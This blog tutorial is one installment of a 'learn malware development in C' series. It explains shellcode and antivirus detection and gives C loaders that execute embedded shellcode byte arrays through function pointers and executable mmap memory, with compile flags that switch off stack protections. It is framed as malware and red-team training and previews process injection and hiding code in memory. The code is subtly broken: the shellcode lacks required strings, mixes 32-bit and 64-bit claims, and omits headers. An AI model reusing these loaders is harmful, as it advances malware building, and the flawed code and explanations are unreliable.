10-Day Plan for Learning Malware Development in C: Day 4 – Introduction to Shellcode

Welcome to Day 4 of our journey into malware development in C. Today, we’ll explore the basics of shellcode—what it is, how it’s used to execute system commands, and how antivirus systems detect it. By the end of this post, you’ll also have built a simple program in C that uses shellcode to execute an operating system command.

---

Day 4 – Introduction to Shellcode

Objective

To understand shellcode: what it is, how it operates, and why it’s so commonly used in exploit development. Shellcode is essential in scenarios where direct interaction with the operating system is necessary, particularly for red team operations or malware simulations.

What is Shellcode?

Shellcode is a small piece of code used as the payload in many forms of software exploits. Its purpose is usually to “open a shell” (thus the name “shellcode”) or to execute specific system commands on a target system. Shellcode is often written in assembly language and embedded within a larger C program or injected directly into memory. This code, once injected and executed, allows an attacker to control the target system.

Shellcode Example in Action

1. Reverse Shell: This type of shellcode opens a shell on the target machine and connects it back to the attacker’s machine.
2. Command Execution: A simpler form of shellcode is designed to execute a single command, like creating a file or opening a network socket.

Shellcode is written to work without relying on external libraries or functions, making it compact, self-contained, and challenging to detect and prevent.

Executing System Commands in C

In C, executing commands from within a program can be done using functions like system(), exec(), or direct inline shellcode. Although system() is simpler and often used, understanding how to implement shellcode gives deeper insight into exploit development and security.

Example: Using system() to Execute a Command

Let’s start with a simple command execution using system(). Here’s a quick example that opens a shell on Unix-based systems.

#include <stdlib.h>

int main() {
    system("/bin/sh");  // Open a shell on Unix-based systems
    return 0;
}

Explanation

• system("/bin/sh"); tells the program to execute the shell directly, launching a command-line interface on Unix.
• You can also try with /usr/bin/sh or /usr/bin/zsh

This approach is straightforward but not covert. To understand how shellcode operates in a similar way, we need to look at how commands are encoded in shellcode.

Creating and Understanding Simple Shellcode

To write shellcode, you’ll need to understand how to structure machine code that interacts with the operating system directly. A common example is shellcode to create a file, open a shell, or run a specific command.

Example: Shellcode to Open a Shell on Unix

The following example uses a byte array containing shellcode that, when executed, will open a Unix shell (/bin/sh). This example is commonly used to demonstrate basic shellcode execution in exploit development. 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char shellcode[] = 
    "\x48\x31\xc0\x50\x5f\x48\x89\xe6\xb0\x3b\x0f\x05";

int main() 
{
    printf("Executing shellcode...\n");

    // Cast shellcode to a function pointer and execute it
    void (*execute)() = (void (*)())shellcode;
    execute();

    return 0;
}

Output

Explanation of the Shellcode

• The byte sequence in shellcode[] is machine code that, when executed, invokes /bin/sh on Unix-based systems.
• We cast shellcode to a function pointer of type void (*)() and execute it by calling execute(). This process mimics how injected shellcode operates when loaded into memory and run by an exploit.

Note: Running raw shellcode requires a deep understanding of assembly, OS architecture, and memory management. Ensure your system is secure and isolated when testing this code. Never run malware or not-tested code on a production machine, preferably on a VM in Bridged mode.

How Antivirus Systems Detect Shellcode

Antivirus systems use several techniques to detect shellcode. 

1. Signature-Based Detection: Many antivirus systems keep a database of known shellcode byte patterns. If shellcode matches a known signature, it is flagged as malicious.
2. Heuristic Analysis: Heuristic methods look for behavior typical of shellcode, such as self-modifying code, direct system call invocation, or unusual memory allocations.
3. Behavioral Analysis: Some advanced systems monitor how programs behave in real-time. For example, if a program tries to execute commands or open shells without user interaction, it may be flagged as suspicious.

Microproject – Writing a Simple Shellcode Program to Execute a Command

Now, it’s time to create a C program that embeds a basic shellcode to perform a simple action, such as creating a new file. In this microproject, we’ll write shellcode that opens a new file called example.txt on Unix-based systems.

Microproject Instructions

1. Create the Shellcode: For simplicity, we’ll use shellcode that invokes the system command to create a file.
2. Embed the Shellcode: Embed this shellcode in a C program as a byte array.
3. Execute the Shellcode: Cast the shellcode to a function pointer and execute it.

Example Code: Shellcode to Create a File

Below is an example of C code that includes shellcode to create a file named example.txt.

Note: This example uses shellcode carefully crafted for Unix systems. The file creation will be visible in the directory where you run the code.

// Shellcode to create a file named 'example.txt' using /bin/touch
unsigned char shellcode[] = 
    "\xeb\x1f\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x8d\x1e\x89\x5e\x0c"
    "\x89\x46\x10\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8"
    "\xdc\xff\xff\xff/bin/touch example.txt";

int main() {
    // Calculate the page size of the system
    size_t shellcode_size = sizeof(shellcode);
    size_t pagesize = sysconf(_SC_PAGE_SIZE);

    // Allocate executable memory for the shellcode using mmap
    void *exec_mem = mmap(NULL, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC,
                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (exec_mem == MAP_FAILED) {
        perror("mmap failed");
        return 1;
    }

    // Copy the shellcode into the executable memory
    memcpy(exec_mem, shellcode, shellcode_size);

    // Cast the executable memory to a function pointer and execute it
    printf("Executing shellcode to create a file...\n");
    void (*execute)() = (void (*)())exec_mem;
    execute();

    // Unmap the allocated memory (cleanup)
    munmap(exec_mem, pagesize);

    return 0;
}

Explanation

Memory Allocation with mmap:

• We use mmap to allocate a memory region with read, write, and execute permissions (PROT_READ | PROT_WRITE | PROT_EXEC), which allows the shellcode to be executed without triggering a segmentation fault.
• MAP_PRIVATE | MAP_ANONYMOUS flags ensure the memory is private to the process and not backed by any file.

Copying Shellcode to Executable Memory:

• We copy the shellcode from shellcode into the executable memory region allocated by mmap using memcpy.
• This ensures the shellcode resides in an executable memory region.

Executing Shellcode:

• After copying the shellcode, we cast the executable memory to a function pointer and call it to execute the shellcode.

Cleanup with munmap:

• After execution, we unmap the allocated memory using munmap to free up resources.

Running and Verifying the Microproject

1. Compile the code:

   gcc -z execstack -fno-stack-protector -o test test.c
   

   Note: The -z execstack and -fno-stack-protector flags allow the program to execute shellcode from the stack (disabled by default for security reasons).

2. Run the program:

   ./test
   

3. Check if example.txt has been created in the current directory:

   ls
   

You should see example.txt among the files in the directory, confirming that your shellcode successfully executed the command to create a file.

Output

Please note that you will have to modify certain instructions depending on the architecture of your processor. In my case I use ARM, however this code is oriented to X64 architecture.

Conclusion

Now have a basic understanding of shellcode, including what it does, how to embed it in C, and how antivirus software detects it. We’ve also learned to write a small piece of shellcode to perform a simple operation, getting a taste of how exploit code interacts with the operating system.

Tomorrow, we’ll dive deeper into process injection and methods for hiding code in memory, a key skill in red team operations and malware development.

Happy Hacking! ❤